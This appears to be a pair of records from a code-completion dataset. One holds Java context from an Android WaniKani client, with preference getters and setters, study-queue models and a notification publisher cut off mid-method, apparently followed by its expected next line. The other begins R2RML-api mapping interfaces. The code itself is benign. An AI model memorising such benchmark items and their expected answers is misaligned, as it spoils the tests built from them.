\"0\");\n }\n\n public static void setApiKey(String key) {\n prefs.edit().putString(\"api_key\", key).commit();\n }\n\n public static boolean isFirstLaunch() {\n return prefs.getBoolean(\"first_launch\", true);\n }\n\n public static void setFirstLaunch(boolean value) {\n prefs.edit().putBoolean(\"first_launch\", value).commit();\n }\n\n public static boolean isProfileFirstTime() {\n return prefs.getBoolean(\"first_time_profile\", true);\n }\n\n public static void setProfileFirstTime(boolean value) {\n prefs.edit().putBoolean(\"first_time_profile\", value).commit();\n }\n\n public static int getDashboardRecentUnlocksNumber() {\n return prefs.getInt(PREF_DASHBOARD_RECENT_UNLOCKS_NUMBER, 5);\n }\n\n public static void setDashboardRecentUnlocksNumber(int number) {\n prefs.edit().putInt(PREF_DASHBOARD_RECENT_UNLOCKS_NUMBER, number).commit();\n }\n\n public static int getDashboardCriticalItemsPercentage() {\n return prefs.getInt(PREF_DASHBOARD_CRITICAL_ITEMS_PERCENTAGE, 75);\n }\n\n public static void setDashboardCriticalItemsPercentage(int number) {\n prefs.edit().putInt(PREF_DASHBOARD_CRITICAL_ITEMS_PERCENTAGE, number).commit();\n }\n\n public static int getCriticalItemsNumber() {\n return prefs.getInt(PREF_CRITICAL_ITEMS_NUMBER, 5);\n }\n\n public static void setCriticalItemsNumber(int value) {\n prefs.edit().putInt(PREF_CRITICAL_ITEMS_NUMBER, value).commit();\n }\n\n public static boolean isLegendLearned() {\n return prefs.getBoolean(\"pref_legend_learned\", false);\n }\n\n public static void setLegendLearned(boolean value) {\n prefs.edit().putBoolean(\"pref_legend_learned\", value).commit();\n }\n\n public static void setDashboardLastUpdateDate(long date) {\n prefs.edit().putLong(\"pref_update_date_dashboard\", date).commit();\n }\n\n public static long getDashboardLastUpdateTime() {\n return prefs.getLong(\"pref_update_date_dashboard\", 0);\n }\n\n public static boolean isUseCustomFonts() {\n return prefs.getBoolean(PREF_USE_CUSTOM_FONTS, true);\n }\n\n public static void setUseCUstomFonts(boolean value) {\n prefs.edit().putBoolean(PREF_USE_CUSTOM_FONTS, value).commit();\n }\n\n public static boolean isUseSpecificDates() {\n return prefs.getBoolean(PREF_USE_SPECIFIC_DATES, false);\n }\n\n public static void setUseSpecificDates(boolean value) {\n prefs.edit().putBoolean(PREF_USE_SPECIFIC_DATES, value).commit();\n }\n\n public static boolean getReviewsImprovements() {\n return prefs.getBoolean(PREF_REVIEWS_IMPROVEMENTS, true);\n }\n\n public static void setReviewsImprovements(boolean value) {\n prefs.edit().putBoolean(PREF_REVIEWS_IMPROVEMENTS, value).commit();\n }\n\n public static boolean getIgnoreButton() {\n return prefs.getBoolean(PREF_IGNORE_BUTTON, true);\n }\n\n public static void setIgnoreButton(boolean value) {\n prefs.edit().putBoolean(PREF_IGNORE_BUTTON, value).commit();\n }\n\n public static boolean getSingleButton() {\n return prefs.getBoolean(PREF_SINGLE_BUTTON, true);\n }\n\n public static void setSingleButton(boolean value) {\n prefs.edit().putBoolean(PREF_SINGLE_BUTTON, value).commit();\n }\n\n public static boolean getPortraitMode() {\n return prefs.getBoolean(PREF_PORTRAIT_MODE, true);\n }\n\n public static void setPortraitMode(boolean value) {\n prefs.edit().putBoolean(PREF_PORTRAIT_MODE, value).commit();\n }\n\n public static boolean getWaniKaniImprove() {\n return prefs.getBoolean(PREF_WANIKANI_IMPROVE, false);\n }\n\n public static void setWaniKaniImprove(boolean value) {\n prefs.edit().putBoolean(PREF_WANIKANI_IMPROVE, value).commit();\n }\n\n public static boolean getReviewOrder() {\n return prefs.getBoolean(PREF_REVIEW_ORDER, false);\n }\n\n public static void setReviewOrder(boolean value) {\n prefs.edit().putBoolean(PREF_REVIEW_ORDER, value).commit();\n }\n\n public static boolean getLessonOrder() {\n return prefs.getBoolean(PREF_LESSON_ORDER, false);\n }\n\n public static void setLessonOrder(boolean value) {\n prefs.edit().putBoolean(PREF_LESSON_ORDER, value).commit();\n }\n\n public static boolean getExternalFramePlacer() {\n return prefs.getBoolean(PREF_EXTERNAL_FRAME_PLACER, false);\n }\n\n public static void setExternalFramePlacer(boolean value) {\n prefs.edit().putBoolean(PREF_EXTERNAL_FRAME_PLACER, value).commit();\n }\n\n public static ExternalFramePlacer.Dictionary getExternalFramePlacerDictionary() {\n ExternalFramePlacer.Dictionary dict;\n String tag = prefs.getString(PREF_EXTERNAL_FRAME_PLACER_DICTIONARY,\n ExternalFramePlacer.Dictionary.JISHO.name());\n dict = ExternalFramePlacer.Dictionary.valueOf(tag);\n dict = ExternalFramePlacer.Dictionary.JISHO;\n return dict;\n }\n\n public static void setExternalFramePlacerDictionary(String value) {\n prefs.edit().putString(PREF_EXTERNAL_FRAME_PLACER_DICTIONARY, value).commit();\n }\n\n public static boolean getPartOfSpeech() {\n return prefs.getBoolean(PREF_PART_OF_SPEECH, false); // TODO - Make true after integration\n }\n\n public static void setPartOfSpeech(boolean value) {\n prefs.edit().putBoolean(PREF_PART_OF_SPEECH, value).commit();\n }\n\n public static boolean getAutoPopup() {\n return prefs.getBoolean(PREF_AUTO_POPUP, false);\n }\n\n public static void setAutoPopup(boolean value) {\n prefs.edit().putBoolean(PREF_AUTO_POPUP, value).commit();\n }\n\n public static boolean getMistakeDelay() {\n return prefs.getBoolean(PREF_MISTAKE_DELAY, false);\n }\n\n public static void setMistakeDelay(boolean value) {\n prefs.edit().putBoolean(PREF_MISTAKE_DELAY, value).commit();\n }\n\n public static boolean getRomaji() {\n return prefs.getBoolean(PREF_ROMAJI, false);\n }\n\n public static void setRomaji(boolean value) {\n prefs.edit().putBoolean(PREF_ROMAJI, value).commit();\n }\n\n public static boolean getNoSuggestion() {\n return prefs.getBoolean(PREF_NO_SUGGESTION, true);\n }\n\n public static void setNoSuggestion(boolean value) {\n prefs.edit().putBoolean(PREF_NO_SUGGESTION, value).commit();\n }\n\n public static boolean getMuteButton() {\n return prefs.getBoolean(PREF_MUTE_BUTTON, true);\n }\n\n public static void setMuteButton(boolean value) {\n prefs.edit().putBoolean(PREF_MUTE_BUTTON, value).commit();\n }\n\n public static boolean getSRSIndication() {\n return prefs.getBoolean(PREF_SRS_INDCATION, true);\n }\n\n public static void setSRSIndication(boolean value) {\n prefs.edit().putBoolean(PREF_SRS_INDCATION, value).commit();\n }\n\n public static Keyboard getReviewsKeyboard() {\n return getReviewsImprovements() ? Keyboard.LOCAL_IME : Keyboard.NATIVE;\n }\n\n public static Intent getWebViewIntent(Context context) {\n boolean accel = getHWAccel();\n return new Intent(context, accel ? WebReviewActivity.class : SWWebReviewActivity.class);\n }\n\n public static boolean getIgnoreButtonMessage() {\n return reviewsPrefs.getBoolean(PREF_IGNORE_BUTTON_MESSAGE, true);\n }\n\n public static void setIgnoreButtonMessage(boolean value) {\n reviewsPrefs.edit().putBoolean(PREF_IGNORE_BUTTON_MESSAGE, value).commit();\n }\n\n public static boolean getHWAccelMessage() {\n return reviewsPrefs.getBoolean(PREF_HW_ACCEL_MESSAGE, true);\n }\n\n public static void setHWAccelMessage(boolean value) {\n reviewsPrefs.edit().putBoolean(PREF_HW_ACCEL_MESSAGE, value).commit();\n }\n\n public static boolean getHWAccel() {\n return prefs.getBoolean(PREF_HW_ACCEL, true);\n }\n\n public static void setHWAccel(boolean value) {\n prefs.edit().putBoolean(PREF_HW_ACCEL, value).commit();\n }\n\n public static boolean toggleMute() {\n boolean mute = !getMute();\n setMute(mute);\n return mute;\n }\n\n public static boolean getMute() {\n return prefs.getBoolean(PREF_MUTE, false);\n }\n\n public static void setMute(boolean value) {\n prefs.edit().putBoolean(PREF_MUTE, value).commit();\n }\n\n public static boolean getReviewsLessonsFullscreen() {\n return prefs.getBoolean(PREF_REVIEWS_LESSONS_FULLSCREEN, false);\n }\n\n public static void setReviewsLessonsFullscreen(boolean value) {\n prefs.edit().putBoolean(PREF_REVIEWS_LESSONS_FULLSCREEN, value).commit();\n }\n\n public static void setNotificationsEnabled(Context context, boolean value) {\n prefs.edit().putBoolean(PREF_SHOW_NOTIFICATIONS, value).commit();\n if (!value) {\n new NotificationScheduler(context).cancelNotifications();\n }\n }\n\n public static boolean notificationsEnabled() {\n return prefs.getBoolean(PREF_SHOW_NOTIFICATIONS, true);\n }\n\n public static boolean reminderNotificationEnabled() {\n return prefs.getBoolean(PREF_ENABLE_REMINDER_NOTIFICATION, true);\n }\n\n public static void setReminderNotificationEnabled(boolean value) {\n prefs.edit().putBoolean(PREF_ENABLE_REMINDER_NOTIFICATION, value).commit();\n }\n\n public static long getReminderNotificationInterval() {\n return prefs.getLong(PREF_REMINDER_NOTIFICATION_INTERVAL, 7200000); // 2 hours by default\n }\n\n public static void setReminderNotificationInterval(long milliseconds) {\n prefs.edit().putLong(PREF_REMINDER_NOTIFICATION_INTERVAL, milliseconds).commit();\n }\n\n public static void logout(Context context) {\n prefs.edit().clear().commit();\n reviewsPrefs.edit().clear().commit();\n\n File offlineData = new File(Environment.getDataDirectory() + \"/data/\" + context.getPackageName() + \"/shared_prefs/offline_data.xml\");\n File cacheDir = new File(Environment.getDataDirectory() + \"/data/\" + context.getPackageName() + \"/cache\");\n File webviewCacheDir = new File(Environment.getDataDirectory() + \"/data/\" + context.getPackageName() + \"/app_webview\");\n\n try {\n if (offlineData.exists()) {\n offlineData.delete();\n }\n FileUtils.deleteDirectory(cacheDir);\n FileUtils.deleteDirectory(webviewCacheDir);\n } catch (IOException e) {\n e.printStackTrace();\n }\n\n // Cancel the notification alarm...\n Intent notificationIntent = new Intent(context, NotificationPublisher.class);\n PendingIntent pendingIntent = PendingIntent.getBroadcast(\n context,\n NotificationPublisher.REQUEST_CODE,\n notificationIntent,\n PendingIntent.FLAG_UPDATE_CURRENT\n );\n AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);\n alarmManager.cancel(pendingIntent);\n }\n\n public enum Keyboard {\n LOCAL_IME, NATIVE\n }\n}", "public class Request<T> {\n public User user_information;\n public T requested_information;\n public Error error;\n}", "public class StudyQueue implements Serializable, Storable {\n public int id;\n public int lessons_available;\n public int reviews_available;\n public int reviews_available_next_hour;\n public int reviews_available_next_day;\n public long next_review_date;\n\n public StudyQueue(int id, int lessons, int reviews, int reviewsNextHour, int reviewsNextDay, long nextReviewDate) {\n this.id = id;\n this.lessons_available = lessons;\n this.reviews_available = reviews;\n this.reviews_available_next_hour = reviewsNextHour;\n this.reviews_available_next_day = reviewsNextDay;\n this.next_review_date = nextReviewDate;\n }\n\n public long getNextReviewDateInMillis() {\n return next_review_date * 1000;\n }\n\n @Override\n public void save() {\n DatabaseManager.saveStudyQueue(this);\n }\n}" ]
import android.app.NotificationManager; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.support.v4.app.NotificationCompat; import android.support.v4.app.TaskStackBuilder; import android.util.Log; import retrofit2.Call; import retrofit2.Response; import tr.xip.wanikani.R; import tr.xip.wanikani.app.activity.Browser; import tr.xip.wanikani.app.activity.MainActivity; import tr.xip.wanikani.app.activity.SWWebReviewActivity; import tr.xip.wanikani.app.activity.WebReviewActivity; import tr.xip.wanikani.client.WaniKaniApi; import tr.xip.wanikani.client.task.callback.ThroughDbCallback; import tr.xip.wanikani.database.DatabaseManager; import tr.xip.wanikani.managers.PrefManager; import tr.xip.wanikani.models.Request; import tr.xip.wanikani.models.StudyQueue;
package tr.xip.wanikani.content.notification; /** * Created by Hikari on 12/16/14. */ public class NotificationPublisher extends BroadcastReceiver { public static final int REQUEST_CODE = 0; private static final int NOTIFICATION_ID = 0; private static final int BROWSER_TYPE_LESSONS = 0; private static final int BROWSER_TYPE_REVIEWS = 1; private Context context; private NotificationPreferences notifPrefs; @Override public void onReceive(Context context, Intent intent) { publish(context); } public void publish(final Context context) { this.context = context; this.notifPrefs = new NotificationPreferences(context); WaniKaniApi.getStudyQueue().enqueue(new ThroughDbCallback<Request<StudyQueue>, StudyQueue>() { @Override public void onResponse(Call<Request<StudyQueue>> call, Response<Request<StudyQueue>> response) { super.onResponse(call, response); if (response.isSuccessful() && response.body().requested_information != null) { load(response.body().requested_information); } else { onFailure(call, null); } notifPrefs.setAlarmSet(false); notifPrefs.saveLastNotificationShown(System.currentTimeMillis()); new NotificationReceiver().handleSituation(context); Log.d("NOTIFICATION PUBLISHER", "PUBLISHED A NOTIFICATION"); } @Override public void onFailure(Call<Request<StudyQueue>> call, Throwable t) { super.onFailure(call, t); StudyQueue queue = DatabaseManager.getStudyQueue(); if (queue != null) { load(queue); } } void load(StudyQueue queue) { int lessonsCount = queue.lessons_available; int reviewsCount = queue.reviews_available; if (lessonsCount != 0 || reviewsCount != 0) { NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context); mBuilder.setSmallIcon(R.drawable.ic_school_white_36dp) .setColor(context.getResources().getColor(R.color.apptheme_main)) .setPriority(NotificationCompat.PRIORITY_LOW) .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) .setAutoCancel(true); /** We have both lessons and reviews */ if (lessonsCount != 0 && reviewsCount != 0) { mBuilder.setContentTitle(getString(R.string.notif_title_new_lessons_and_reviews)); NotificationCompat.Action mLessonsAction = new NotificationCompat.Action( R.drawable.ic_arrow_forward_white_36dp, getString(R.string.notif_action_lessons), getBrowserPendingIntent(BROWSER_TYPE_LESSONS) ); NotificationCompat.Action mReviewsAction = new NotificationCompat.Action( R.drawable.ic_arrow_forward_white_36dp, getString(R.string.notif_action_reviews), getBrowserPendingIntent(BROWSER_TYPE_REVIEWS) ); mBuilder.setContentIntent(getDashboardPendingIntent()) .addAction(mLessonsAction) .addAction(mReviewsAction); } /** We only have lessons */ if (lessonsCount != 0 && reviewsCount == 0) { mBuilder.setContentTitle(getString(R.string.notif_title_new_lessons)); mBuilder.setContentIntent(getBrowserPendingIntent(BROWSER_TYPE_LESSONS)); } /** We only have reviews */ if (reviewsCount != 0 && lessonsCount == 0) { mBuilder.setContentTitle(getString(R.string.notif_title_new_reviews)); mBuilder.setContentIntent(getBrowserPendingIntent(BROWSER_TYPE_REVIEWS)); } mBuilder.setContentText(getContentText(lessonsCount, reviewsCount)); NotificationManager mNotificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); mNotificationManager.notify(NOTIFICATION_ID, mBuilder.build()); } } }); } private String getString(int res) { return context.getString(res); } private PendingIntent getBrowserPendingIntent(int type) { Intent browserIntent = PrefManager.getWebViewIntent(context); browserIntent.setAction(WebReviewActivity.OPEN_ACTION); switch (type) { case BROWSER_TYPE_LESSONS:
browserIntent.setData(Uri.parse(Browser.LESSON_URL));
0
R2RML-api/R2RML-api
r2rml-api-rdf4j-binding/src/test/java/rdf4jTest/N3Syntax_Test.java
[ "public class RDF4JR2RMLMappingManager extends R2RMLMappingManagerImpl {\n\n private static RDF4JR2RMLMappingManager INSTANCE = new RDF4JR2RMLMappingManager(new RDF4J());\n\n private RDF4JR2RMLMappingManager(RDF4J rdf) {\n super(rdf);\n }\n\n public Collection<TriplesMap> importMappings(Model model) throws InvalidR2RMLMappingException {\n return importMappings(((RDF4J) getRDF()).asGraph(model));\n }\n\n @Override\n public RDF4JGraph exportMappings(Collection<TriplesMap> maps) {\n return (RDF4JGraph) super.exportMappings(maps);\n }\n\n public static RDF4JR2RMLMappingManager getInstance(){\n return INSTANCE;\n }\n}", "public class SQLBaseTableOrViewImpl extends LogicalTableImpl implements SQLBaseTableOrView {\r\n\r\n\tString table;\r\n\r\n\tpublic SQLBaseTableOrViewImpl(RDF c, String tableName) {\r\n\t\tsuper(c);\r\n\r\n\t\tsetTableName(tableName);\r\n\r\n setNode(getRDF().createBlankNode());\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void setTableName(String tableName) {\r\n\t\tif (tableName != null) {\r\n\t\t\ttable = tableName;\r\n\t\t} else {\r\n\t\t\tthrow new NullPointerException(\"A SQLBaseTableOrView must have a table name.\");\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getTableName() {\r\n\t\treturn table;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getSQLQuery() {\r\n\t\treturn \"SELECT * FROM \" + table;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic Set<Triple> serialize() {\r\n\t\tSet<Triple> stmtSet = new HashSet<Triple>();\r\n\r\n stmtSet.add(getRDF().createTriple(node, getRDF().createIRI(\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\"), getRDF().createIRI(R2RMLVocabulary.TYPE_BASE_TABLE_OR_VIEW)));\r\n\r\n stmtSet.add(getRDF().createTriple(node, getRDF().createIRI(R2RMLVocabulary.PROP_TABLE_NAME),\r\n getRDF().createLiteral(getTableName())));\r\n\r\n\t\treturn stmtSet;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic int hashCode() {\r\n\t\tfinal int prime = 31;\r\n\t\tint result = 1;\r\n\t\tresult = prime * result + ((node == null) ? 0 : node.hashCode());\r\n\t\tresult = prime * result + ((table == null) ? 0 : table.hashCode());\r\n\t\treturn result;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic boolean equals(Object obj) {\r\n\t\tif (this == obj)\r\n\t\t\treturn true;\r\n\r\n\t\tif (obj == null)\r\n\t\t\treturn false;\r\n\r\n\t\tif (!(obj instanceof SQLBaseTableOrViewImpl))\r\n\t\t\treturn false;\r\n\r\n\t\tSQLBaseTableOrViewImpl other = (SQLBaseTableOrViewImpl) obj;\r\n\t\tif (node == null) {\r\n\t\t\tif (other.node != null) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t} else if (!node.equals(other.node)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif (table == null) {\r\n\t\t\tif (other.table != null) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t} else if (!table.equals(other.table)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String toString() {\r\n\t\treturn \"SQLBaseTableOrViewImpl [table=\" + table + \", node=\" + node + \"]\";\r\n\t}\r\n\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_LOGICAL_TABLE)\r\npublic interface LogicalTable extends MappingComponent {\r\n\r\n\t/**\r\n\t * Returns the effective SQL query of this LogicalTable. The effective SQL\r\n\t * query of a R2RMLView is it's own SQL query. For a SQLBaseTableOrView it's\r\n\t * \"SELECT * FROM {table}\".\r\n\t * \r\n\t * @return The effective SQL query of this LogicalTable.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_SQL_QUERY)\r\n\tpublic String getSQLQuery();\r\n\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_OBJECT_MAP)\r\npublic interface ObjectMap extends TermMap {\r\n\r\n /**\r\n * {@inheritDoc}\r\n *\r\n * The possible values for the term type are:<br>\r\n * - rr:IRI<br>\r\n * - rr:BlankNode<br>\r\n * - rr:Literal\r\n *\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_TERM_TYPE)\r\n @Override\r\n void setTermType(IRI typeIRI);\r\n\r\n /**\r\n\t * Set the language tag of this ObjectMap if the term type is set to\r\n\t * rr:Literal. If the ObjectMap is data typed, the data type will be\r\n\t * removed.\r\n\t * \r\n\t * @param lang\r\n\t * The language tag to be set. Must be a valid language tag.\r\n\t * @throws IllegalStateException\r\n\t * If the term type of this ObjectMap is not rr:Literal.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_LANGUAGE)\r\n public void setLanguageTag(String lang);\r\n\r\n\t/**\r\n\t * Set the data type for this ObjectMap. A ObjectMap can have either zero or\r\n\t * one data types. The ObjectMap can only be data typed if the term type is\r\n\t * rr:Literal. If the ObjectMap has a language tag, the language tag will be\r\n\t * removed. The datatypeURI parameter must be an instance of the library's\r\n\t * resource class.\r\n\t * \r\n\t * @param datatypeURI\r\n\t * The data type IRI to be set.\r\n\t * @throws IllegalStateException\r\n\t * If the term type of this ObjectMap is not rr:Literal.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_DATATYPE)\r\n\tpublic void setDatatype(IRI datatypeURI);\r\n\r\n\t/**\r\n\t * Get the language tag for this ObjectMap. It will return null if the\r\n\t * ObjectMap doesn't have a language tag.\r\n\t * \r\n\t * @return The language tag of this ObjectMap.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_LANGUAGE)\r\n\tpublic String getLanguageTag();\r\n\r\n\t/**\r\n\t * Get the data type for this ObjectMap. It will return null if the\r\n\t * ObjectMap is not data typed.\r\n\t *\r\n\t * @return The data type of this ObjectMap.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_DATATYPE)\r\n public IRI getDatatype();\r\n\r\n\t/**\r\n\t * Remove the data type associated with this ObjectMap. The ObjectMap will\r\n\t * no longer be data typed.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_DATATYPE)\r\n\tpublic void removeDatatype();\r\n\r\n\t/**\r\n\t * Removes the language tag from this ObjectMap if there is one.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_LANGUAGE)\r\n\tpublic void removeLanguageTag();\r\n\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_PREDICATE_MAP)\r\npublic interface PredicateMap extends TermMap {\r\n\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_PREDICATE_OBJECT_MAP)\r\npublic interface PredicateObjectMap extends MappingComponent {\r\n\r\n\t/**\r\n\t * Adds a PredicateMap to this PredicateObjectMap. The PredicateMap will be\r\n\t * added to the end of the PredicateMap list. A PredicateObjectMap must have\r\n\t * one or more PredicateMaps.\r\n\t * \r\n\t * @param pm\r\n\t * The PredicateMap that will be added.\r\n\t */\r\n\t@W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_MAP)\r\n\tpublic void addPredicateMap(PredicateMap pm);\r\n\r\n\t/**\r\n\t * Adds an ObjectMap to this PredicateObjectMap. The ObjectMap will be added\r\n\t * to the end of the ObjectMap list. A PredicateObjectMap must have at least\r\n\t * one ObjectMap or RefObjectMap.\r\n\t * \r\n\t * @param om\r\n\t * The ObjectMap that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic void addObjectMap(ObjectMap om);\r\n\r\n\t/**\r\n\t * Adds an RefObjectMap to this PredicateObjectMap. The RefObjectMap will be\r\n\t * added to the end of the RefObjectMap list. A PredicateObjectMap must have\r\n\t * at least one ObjectMap or RefObjectMap.\r\n\t * \r\n\t * @param rom\r\n\t * The RefObjectMap that will be added.\r\n\t */\r\n\t@W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic void addRefObjectMap(RefObjectMap rom);\r\n\r\n\t/**\r\n\t * Adds a GraphMap to this PredicateObjectMap. A PredicateObjectMap can have\r\n\t * zero or more GraphMaps. The GraphMap will be added to the end of the\r\n\t * GraphMap list.\r\n\t * \r\n\t * @param gm\r\n\t * The GraphMap that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n\tpublic void addGraphMap(GraphMap gm);\r\n\r\n\t/**\r\n\t * Adds a list of GraphMaps to this PredicateObjectMap. A PredicateObjectMap\r\n\t * can have zero or more GraphMaps. The GraphMaps will be added to the end\r\n\t * of the GraphMap list.\r\n\t * \r\n\t * @param gms\r\n\t * The list of GraphMaps that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public void addGraphMaps(List<GraphMap> gms);\r\n\r\n\t/**\r\n\t * Get the GraphMap located at the given index.\r\n\t * \r\n\t * @param index\r\n\t * The index of the GraphMap.\r\n\t * @return The GraphMap located at the given index.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the given index is out of range.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n\tpublic GraphMap getGraphMap(int index);\r\n\r\n\t/**\r\n\t * Get the RefObjectMap located at the given index.\r\n\t * \r\n\t * @param index\r\n\t * The index of the RefObjectMap.\r\n\t * @return The RefObjectMap located at the given index.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the given index is out of range.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n public RefObjectMap getRefObjectMap(int index);\r\n\r\n\t/**\r\n\t * Get the ObjectMap located at the given index.\r\n\t * \r\n\t * @param index\r\n\t * The index of the ObjectMap.\r\n\t * @return The ObjectMap located at the given index.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the given index is out of range.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n public ObjectMap getObjectMap(int index);\r\n\r\n\t/**\r\n\t * Get the PredicateMap located at the given index.\r\n\t * \r\n\t * @param index\r\n\t * The index of the PredicateMap.\r\n\t * @return The PredicateMap located at the given index.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the given index is out of range.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_MAP)\r\n public PredicateMap getPredicateMap(int index);\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of the list of GraphMaps that have been\r\n\t * added to this PredicateObjectMap.\r\n\t * \r\n\t * @return An unmodifiable list of GraphMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n\tpublic List<GraphMap> getGraphMaps();\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of the list of RefObjectMaps that have been\r\n\t * added to this PredicateObjectMap.\r\n\t * \r\n\t * @return An unmodifiable list of RefObjectMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic List<RefObjectMap> getRefObjectMaps();\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of the list of ObjectMaps that have been\r\n\t * added to this PredicateObjectMap.\r\n\t * \r\n\t * @return An unmodifiable list of ObjectMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n public List<ObjectMap> getObjectMaps();\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of the list of PredicateMaps that have been\r\n\t * added to this PredicateObjectMap.\r\n\t * \r\n\t * @return An unmodifiable list of PredicateMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_MAP)\r\n public List<PredicateMap> getPredicateMaps();\r\n\r\n\t/**\r\n\t * Remove the GraphMap given by the parameter, from the PredicateObjectMap.\r\n\t * The subsequent GraphMaps in the list will be shifted left.\r\n\t * \r\n\t * @param gm\r\n\t * The GraphMap to be removed.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public void removeGraphMap(GraphMap gm);\r\n\r\n\t/**\r\n\t * Remove the RefObjectMap, given by the parameter, from the\r\n\t * PredicateObjectMap. The subsequent RefObjectMaps in the list will be\r\n\t * shifted left.\r\n\t * \r\n\t * @param rom\r\n\t * The RefObjectMap to be removed.\r\n\t * @throws IllegalStateException\r\n\t * If removing the RefObjectMap would cause the\r\n\t * PredicateObjectMap to contain no RefObjectMaps or ObjectMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic void removeRefObjectMap(RefObjectMap rom);\r\n\r\n\t/**\r\n\t * Remove the ObjectMap, given by the parameter, from the\r\n\t * PredicateObjectMap. The subsequent ObjectMaps in the list will be shifted\r\n\t * left.\r\n\t * \r\n\t * @param om\r\n\t * The ObjectMap to be removed.\r\n\t * @throws IllegalStateException\r\n\t * If removing the RefObjectMap would cause the\r\n\t * PredicateObjectMap to contain no RefObjectMaps or ObjectMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic void removeObjectMap(ObjectMap om);\r\n\r\n\t/**\r\n\t * Remove the PredicateMap, given by the parameter, from the\r\n\t * PredicateObjectMap. The subsequent PredicateMaps in the list will be\r\n\t * shifted left.\r\n\t * \r\n\t * @param pm\r\n\t * The PredicateMap to be removed.\r\n\t * @throws IllegalStateException\r\n\t * If removing the RefObjectMap would cause the\r\n\t * PredicateObjectMap to contain no PredicateMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_OBJECT_MAP)\r\n\tpublic void removePredicateMap(PredicateMap pm);\r\n\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_SUBJECT_MAP)\r\npublic interface SubjectMap extends TermMap {\r\n\r\n /**\r\n * Adds a class to the SubjectMap. The class URI will be added to the end of\r\n * the class list. A SubjectMap can have zero or more classes. The classURI\r\n * parameter must be an instance of the library's resource class.\r\n *\r\n * @param classURI The class URI that will be added.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_CLASS)\r\n public void addClass(IRI classURI);\r\n\r\n /**\r\n * Adds a GraphMap to this SubjectMap. The GraphMap will be added to the end\r\n * of the GraphMap list. A SubjectMap can have zero or more GraphMaps.\r\n *\r\n * @param gm The GraphMap that will be added.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public void addGraphMap(GraphMap gm);\r\n\r\n /**\r\n * Adds a list of GraphMaps to this SubjectMap. A SubjectMap can have zero\r\n * or more GraphMaps. The GraphMaps will be added to the end of the GraphMap\r\n * list.\r\n 